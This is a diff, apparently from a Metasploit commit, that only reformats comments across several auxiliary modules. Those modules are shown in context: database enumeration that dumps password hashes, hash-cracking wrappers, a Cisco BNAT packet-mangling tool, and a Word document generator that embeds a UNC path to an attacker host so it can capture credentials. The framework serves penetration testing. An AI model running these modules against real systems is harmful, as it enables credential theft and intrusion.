-- CHECK IF VERSION IS COMPATABLE = > than 2000
|
||||
IF (SELECT SUBSTRING(CAST(SERVERPROPERTY('ProductVersion') as VARCHAR), 1,
|
||||
|
@ -341,11 +341,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
|
||||
|
||||
#STATUSING
|
||||
# STATUSING
|
||||
print_line(" ")
|
||||
print_status("Attempting to connect to the SQL Server at #{rhost}:#{rport}...")
|
||||
|
||||
#CREATE DATABASE CONNECTION AND SUBMIT QUERY WITH ERROR HANDLING
|
||||
# CREATE DATABASE CONNECTION AND SUBMIT QUERY WITH ERROR HANDLING
|
||||
begin
|
||||
result = mssql_query(sql, false) if mssql_login_datastore
|
||||
column_data = result[:rows]
|
||||
|
@ -355,14 +355,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return
|
||||
end
|
||||
|
||||
#CREATE TABLE TO STORE SQL SERVER DATA LOOT
|
||||
# CREATE TABLE TO STORE SQL SERVER DATA LOOT
|
||||
sql_data_tbl = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'SQL Server Data',
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Server', 'Database', 'Schema', 'Table', 'Column', 'Data Type', 'Sample Data', 'Row Count']
|
||||
)
|
||||
|
||||
#STATUSING
|
||||
# STATUSING
|
||||
print_status("Attempting to retrieve data ...")
|
||||
|
||||
if (column_data.count < 7)
|
||||
|
@ -386,7 +386,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_line(" ")
|
||||
end
|
||||
|
||||
#SETUP ROW WIDTHS
|
||||
# SETUP ROW WIDTHS
|
||||
widths = [0, 0, 0, 0, 0, 0, 0, 0]
|
||||
(column_data|headings).each { |row|
|
||||
0.upto(7) { |col|
|
||||
|
@ -394,7 +394,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
}
|
||||
}
|
||||
|
||||
#PRINT HEADERS
|
||||
# PRINT HEADERS
|
||||
buffer1 = ""
|
||||
buffer2 = ""
|
||||
headings.each { |row|
|
||||
|
@ -406,7 +406,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
buffer2 = buffer2.chomp(",")+ "\n"
|
||||
}
|
||||
|
||||
#PRINT DIVIDERS
|
||||
# PRINT DIVIDERS
|
||||
buffer1 = ""
|
||||
buffer2 = ""
|
||||
headings.each { |row|
|
||||
|
@ -417,7 +417,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_line(buffer1)
|
||||
}
|
||||
|
||||
#PRINT DATA
|
||||
# PRINT DATA
|
||||
buffer1 = ""
|
||||
buffer2 = ""
|
||||
print_line("")
|
||||
|
@ -429,7 +429,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_line(buffer1)
|
||||
buffer2 = buffer2.chomp(",")+ "\n"
|
||||
|
||||
#WRITE QUERY OUTPUT TO TEMP REPORT TABLE
|
||||
# WRITE QUERY OUTPUT TO TEMP REPORT TABLE
|
||||
sql_data_tbl << [row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7]]
|
||||
|
||||
buffer1 = ""
|
||||
|
@ -448,7 +448,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
)
|
||||
end
|
||||
|
||||
#CONVERT TABLE TO CSV AND WRITE TO FILE
|
||||
# CONVERT TABLE TO CSV AND WRITE TO FILE
|
||||
if (save_loot=="yes")
|
||||
filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_sqlserver_query_results.csv"
|
||||
path = store_loot("mssql.data", "text/plain", datastore['RHOST'], sql_data_tbl.to_csv, filename, "SQL Server query results",this_service)
|
||||
|
|
|
@ -32,11 +32,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_status("Running MySQL Enumerator...")
|
||||
print_status("Enumerating Parameters")
|
||||
#-------------------------------------------------------
|
||||
#getting all variables
|
||||
# getting all variables
|
||||
vparm = {}
|
||||
res = mysql_query("show variables") || []
|
||||
res.each do |row|
|
||||
#print_status(" | #{row.join(" | ")} |")
|
||||
# print_status(" | #{row.join(" | ")} |")
|
||||
vparm[row[0]] = row[1]
|
||||
end
|
||||
|
||||
|
@ -77,7 +77,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
query = "use mysql"
|
||||
mysql_query(query)
|
||||
|
||||
#Account Enumeration
|
||||
# Account Enumeration
|
||||
# Enumerate all accounts with their password hashes
|
||||
print_status("Enumerating Accounts:")
|
||||
query = "select user, host, password from mysql.user"
|
||||
|
|
|
@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
begin
|
||||
print_status("Sending statement: '#{query}'...")
|
||||
result = prepare_exec(query)
|
||||
#Need this if 'cause some statements won't return anything
|
||||
# Need this if statement because some statements won't return anything
|
||||
if result
|
||||
result.each do |line|
|
||||
print_status(line)
|
||||
|
|
|
@ -29,7 +29,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return if not check_dependencies
|
||||
|
||||
begin
|
||||
#Get all values from v$parameter
|
||||
# Get all values from v$parameter
|
||||
query = 'select name,value from v$parameter'
|
||||
vparm = {}
|
||||
params = prepare_exec(query)
|
||||
|
@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
print_status("Running Oracle Enumeration....")
|
||||
|
||||
#Version Check
|
||||
# Version Check
|
||||
query = 'select * from v$version'
|
||||
ver = prepare_exec(query)
|
||||
print_status("The versions of the Components are:")
|
||||
|
@ -64,11 +64,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
)
|
||||
end
|
||||
|
||||
#Saving Major Release Number for other checks
|
||||
# Saving Major Release Number for other checks
|
||||
majorrel = ver[0].scan(/Edition Release (\d*)./)
|
||||
|
||||
#-------------------------------------------------------
|
||||
#Audit Check
|
||||
# Audit Check
|
||||
print_status("Auditing:")
|
||||
begin
|
||||
if vparm["audit_trail"] == "NONE"
|
||||
|
@ -122,7 +122,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
#-------------------------------------------------------
|
||||
#Security Settings
|
||||
# Security Settings
|
||||
print_status("Security Settings:")
|
||||
begin
|
||||
|
||||
|
@ -201,7 +201,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
#-------------------------------------------------------
|
||||
#Password Policy
|
||||
# Password Policy
|
||||
print_status("Password Policy:")
|
||||
begin
|
||||
query = %Q|
|
||||
|
|
|
@ -133,7 +133,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
end
|
||||
|
||||
#check if our process is done using these files
|
||||
# check if our process is done using these files
|
||||
def exclusive_access(*files)
|
||||
simple.connect("\\\\#{@ip}\\#{@smbshare}")
|
||||
files.each do |file|
|
||||
|
|
|
@ -57,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
@smbshare = datastore['SMBSHARE']
|
||||
# Try and connect
|
||||
if connect
|
||||
#Try and authenticate with given credentials
|
||||
# Try and authenticate with given credentials
|
||||
begin
|
||||
smb_login
|
||||
rescue StandardError => autherror
|
||||
|
|
|
@ -64,10 +64,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
n = 0
|
||||
c = 0
|
||||
|
||||
#puts "body is #{res.body.length} bytes"
|
||||
# puts "body is #{res.body.length} bytes"
|
||||
infos = res.body.split(/\r?\n/)
|
||||
infos.each do |row|
|
||||
#puts row.inspect
|
||||
# puts row.inspect
|
||||
if (c < 6)
|
||||
if (row.match(/\["file"\]=>/))
|
||||
c+=1
|
||||
|
|
|
@ -31,7 +31,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def run
|
||||
cracker = new_john_cracker
|
||||
|
||||
#generate our wordlist and close the file handle
|
||||
# generate our wordlist and close the file handle
|
||||
wordlist = wordlist_file
|
||||
wordlist.close
|
||||
print_status "Wordlist file written out to #{wordlist.path}"
|
||||
|
|
|
@ -45,7 +45,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
cracker = new_john_cracker
|
||||
|
||||
#generate our wordlist and close the file handle
|
||||
# generate our wordlist and close the file handle
|
||||
wordlist = wordlist_file
|
||||
wordlist.close
|
||||
print_status "Wordlist file written out to #{wordlist.path}"
|
||||
|
|
|
@ -32,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
@formats = Set.new
|
||||
cracker = new_john_cracker
|
||||
|
||||
#generate our wordlist and close the file handle
|
||||
# generate our wordlist and close the file handle
|
||||
wordlist = wordlist_file
|
||||
wordlist.close
|
||||
print_status "Wordlist file written out to #{wordlist.path}"
|
||||
|
|
|
@ -31,7 +31,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def run
|
||||
cracker = new_john_cracker
|
||||
|
||||
#generate our wordlist and close the file handle
|
||||
# generate our wordlist and close the file handle
|
||||
wordlist = wordlist_file
|
||||
wordlist.close
|
||||
print_status "Wordlist file written out to #{wordlist.path}"
|
||||
|
|
|
@ -35,7 +35,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
hash_list = hash_file
|
||||
|
||||
#generate our wordlist and close the file handle
|
||||
# generate our wordlist and close the file handle
|
||||
wordlist = wordlist_file
|
||||
wordlist.close
|
||||
|
||||
|
|
|
@ -49,29 +49,29 @@ class Metasploit3 < Msf::Auxiliary
|
|||
bnatmac = arp2(bnatip,outint)
|
||||
print_line("Obtained BNAT MAC: #{bnatmac}\n\n")
|
||||
|
||||
#Create Interface Specific Configs
|
||||
# Create Interface Specific Configs
|
||||
outconfig = PacketFu::Config.new(PacketFu::Utils.ifconfig ":#{outint}").config
|
||||
inconfig = PacketFu::Config.new(PacketFu::Utils.ifconfig ":#{inint}").config
|
||||
|
||||
#Set Captures for Traffic coming from Outside and from Inside respectively
|
||||
# Set Captures for Traffic coming from Outside and from Inside respectively
|
||||
outpcap = PacketFu::Capture.new( :iface => "#{outint}", :start => true, :filter => "tcp and src #{bnatip}" )
|
||||
print_line("Now listening on #{outint}...")
|
||||
|
||||
inpcap = PacketFu::Capture.new( :iface => "#{inint}", :start => true, :filter => "tcp and src #{clientip} and dst #{serverip}" )
|
||||
print_line("Now listening on #{inint}...\n\n")
|
||||
|
||||
#Start Thread from Outside Processing
|
||||
# Start Thread from Outside Processing
|
||||
fromout = Thread.new do
|
||||
loop do
|
||||
outpcap.stream.each do |pkt|
|
||||
packet = PacketFu::Packet.parse(pkt)
|
||||
|
||||
#Build a shell packet that will never hit the wire as a hack to get desired mac's
|
||||
# Build a shell packet that will never hit the wire as a hack to get desired mac's
|
||||
shell_pkt = PacketFu::TCPPacket.new(:config => inconfig, :timeout => 0.1, :flavor => "Windows")
|
||||
shell_pkt.ip_daddr = clientip
|
||||
shell_pkt.recalc
|
||||
|
||||
#Mangle Received Packet and Drop on the Wire
|
||||
# Mangle Received Packet and Drop on the Wire
|
||||
packet.ip_saddr = serverip
|
||||
packet.ip_daddr = clientip
|
||||
packet.eth_saddr = shell_pkt.eth_saddr
|
||||
|
@ -84,7 +84,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
#Start Thread from Inside Processing
|
||||
# Start Thread from Inside Processing
|
||||
fromin = Thread.new do
|
||||
loop do
|
||||
inpcap.stream.each do |pkt|
|
||||
|
@ -98,19 +98,19 @@ class Metasploit3 < Msf::Auxiliary
|
|||
packet.eth_daddr = bnatmac
|
||||
end
|
||||
|
||||
#Build a shell packet that will never hit the wire as a hack to get desired mac's
|
||||
# Build a shell packet that will never hit the wire as a hack to get desired mac's
|
||||
shell_pkt = PacketFu::TCPPacket.new(:config=>outconfig, :timeout=> 0.1, :flavor=>"Windows")
|
||||
shell_pkt.ip_daddr = serverip
|
||||
shell_pkt.recalc
|
||||
|
||||
#Mangle Received Packet and Drop on the Wire
|
||||
# Mangle Received Packet and Drop on the Wire
|
||||
packet.eth_saddr = shell_pkt.eth_saddr
|
||||
packet.ip_saddr=shell_pkt.ip_saddr
|
||||
packet.recalc
|
||||
inj = PacketFu::Inject.new( :iface => "#{outint}", :config =>outconfig )
|
||||
inj.a2w(:array => [packet.to_s])
|
||||
|
||||
#Trigger Cisco SPI Vulnerability by Double-tapping the SYN
|
||||
# Trigger Cisco SPI Vulnerability by Double-tapping the SYN
|
||||
if packet.tcp_flags.syn == 1 && packet.tcp_flags.ack == 0
|
||||
select(nil, nil, nil, 0.75)
|
||||
inj.a2w(:array => [packet.to_s])
|
||||
|
|
|
@ -53,7 +53,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
], self.class)
|
||||
end
|
||||
|
||||
#here we create an empty .docx file with the UNC path. Only done when FILENAME is empty
|
||||
# here we create an empty .docx file with the UNC path. Only done when FILENAME is empty
|
||||
def make_new_file
|
||||
metadata_file_data = ""
|
||||
metadata_file_data << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><cp:coreProperties"
|
||||
|
@ -65,12 +65,12 @@ class Metasploit3 < Msf::Auxiliary
|
|||
metadata_file_data << "2013-01-08T14:14:00Z</dcterms:created><dcterms:modified xsi:type=\"dcterms:W3CDTF\">"
|
||||
metadata_file_data << "2013-01-08T14:14:00Z</dcterms:modified></cp:coreProperties>"
|
||||
|
||||
#where to find the skeleton files required for creating an empty document
|
||||
# where to find the skeleton files required for creating an empty document
|
||||
data_dir = File.join(Msf::Config.data_directory, "exploits", "docx")
|
||||
|
||||
zip_data = {}
|
||||
|
||||
#add skeleton files
|
||||
# add skeleton files
|
||||
vprint_status("Adding skeleton files from #{data_dir}")
|
||||
Dir["#{data_dir}/**/**"].each do |file|
|
||||
if not File.directory?(file)
|
||||
|
@ -78,19 +78,19 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
#add on-the-fly created documents
|
||||
# add on-the-fly created documents
|
||||
vprint_status("Adding injected files")
|
||||
zip_data["docProps/core.xml"] = metadata_file_data
|
||||
zip_data["word/_rels/settings.xml.rels"] = @rels_file_data
|
||||
|
||||
#add the otherwise skipped "hidden" file
|
||||
# add the otherwise skipped "hidden" file
|
||||
file = "#{data_dir}/_rels/.rels"
|
||||
zip_data[file.sub(data_dir,'')] = File.read(file)
|
||||
#and lets create the file
|
||||
# and lets create the file
|
||||
zip_docx(zip_data)
|
||||
end
|
||||
|
||||
#here we inject an UNC path into an existing file, and store the injected file in FILENAME
|
||||
# here we inject an UNC path into an existing file, and store the injected file in FILENAME
|
||||
def manipulate_file
|
||||
ref = "<w:attachedTemplate r:id=\"rId1\"/>"
|
||||
|
||||
|
@ -99,24 +99,24 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return nil
|
||||
end
|
||||
|
||||
#lets extract our docx and store it in memory
|
||||
# lets extract our docx and store it in memory
|
||||
zip_data = unzip_docx
|
||||
|
||||
#file to check for reference file we need
|
||||
# file to check for reference file we need
|
||||
file_content = zip_data["word/settings.xml"]
|
||||
if file_content.nil?
|
||||
print_error("Bad \"word/settings.xml\" file, check if it is a valid .docx.")
|
||||
return nil
|
||||
end
|
||||
|
||||
#if we can find the reference to our inject file, we don't need to add it and can just inject our unc path.
|
||||
# if we can find the reference to our inject file, we don't need to add it and can just inject our unc path.
|
||||
if not file_content.index("w:attachedTemplate r:id=\"rId1\"").nil?
|
||||
vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)")
|
||||
zip_data["word/_rels/settings.xml.rels"] = @rels_file_data
|
||||
# lets zip the end result
|
||||
zip_docx(zip_data)
|
||||
else
|
||||
#now insert the reference to the file that will enable our malicious entry
|
||||
# now insert the reference to the file that will enable our malicious entry
|
||||
insert_one = file_content.index("<w:defaultTabStop")
|
||||
|
||||
if insert_one.nil?
|
||||
|
@ -135,16 +135,16 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return nil
|
||||
end
|
||||
|
||||
#update the files that contain the injection and reference
|
||||
# update the files that contain the injection and reference
|
||||
zip_data["word/settings.xml"] = file_content
|
||||
zip_data["word/_rels/settings.xml.rels"] = @rels_file_data
|
||||
#lets zip the file
|
||||
# lets zip the file
|
||||
zip_docx(zip_data)
|
||||
end
|
||||
return 0
|
||||
end
|
||||
|
||||
#making the actual docx from the hash
|
||||
# making the actual docx from the hash
|
||||
def zip_docx(zip_data)
|
||||
docx = Rex::Zip::Archive.new
|
||||
zip_data.each_pair do |k,v|
|
||||
|
@ -153,11 +153,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
file_create(docx.pack)
|
||||
end
|
||||
|
||||
#unzip the .docx document. sadly Rex::zip does not uncompress so we do it the Rubyzip way
|
||||
# unzip the .docx document. sadly Rex::zip does not uncompress so we do it the Rubyzip way
|
||||
def unzip_docx
|
||||
#Ruby sometimes corrupts the document when manipulating inside a compressed document, so we extract it with Zip::File
|
||||
# Ruby sometimes corrupts the document when manipulating inside a compressed document, so we extract it with Zip::File
|
||||
vprint_status("Extracting #{datastore['SOURCE']} into memory.")
|
||||
#we read it all into memory
|
||||
# we read it all into memory
|
||||
zip_data = Hash.new
|
||||
begin
|
||||
Zip::File.open(datastore['SOURCE']) do |filezip|
|
||||
|
@ -174,7 +174,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
|
||||
def run
|
||||
#we need this in make_new_file and manipulate_file
|
||||
# we need this in make_new_file and manipulate_file
|
||||
@rels_file_data = ""
|
||||
@rels_file_data << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>".chomp
|
||||
@rels_file_data << "<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">".chomp
|
||||
|
@ -182,11 +182,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
@rels_file_data << "attachedTemplate\" Target=\"file://\\\\#{datastore['LHOST']}\\normal.dot\" TargetMode=\"External\"/></Relationships>"
|
||||
|
||||
if "#{datastore['SOURCE']}" == ""
|
||||
#make an empty file
|
||||
# make an empty file
|
||||
print_status("Creating empty document that points to #{datastore['LHOST']}.")
|
||||
make_new_file
|
||||
else
|
||||
#extract the word/settings.xml and edit in the reference we need
|
||||
# extract the word/settings.xml and edit in the reference we need
|
||||
print_status("Injecting UNC path into existing document.")
|
||||
if manipulate_file.nil?
|
||||
print_error("Failed to create a document from #{datastore['SOURCE']}.")
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue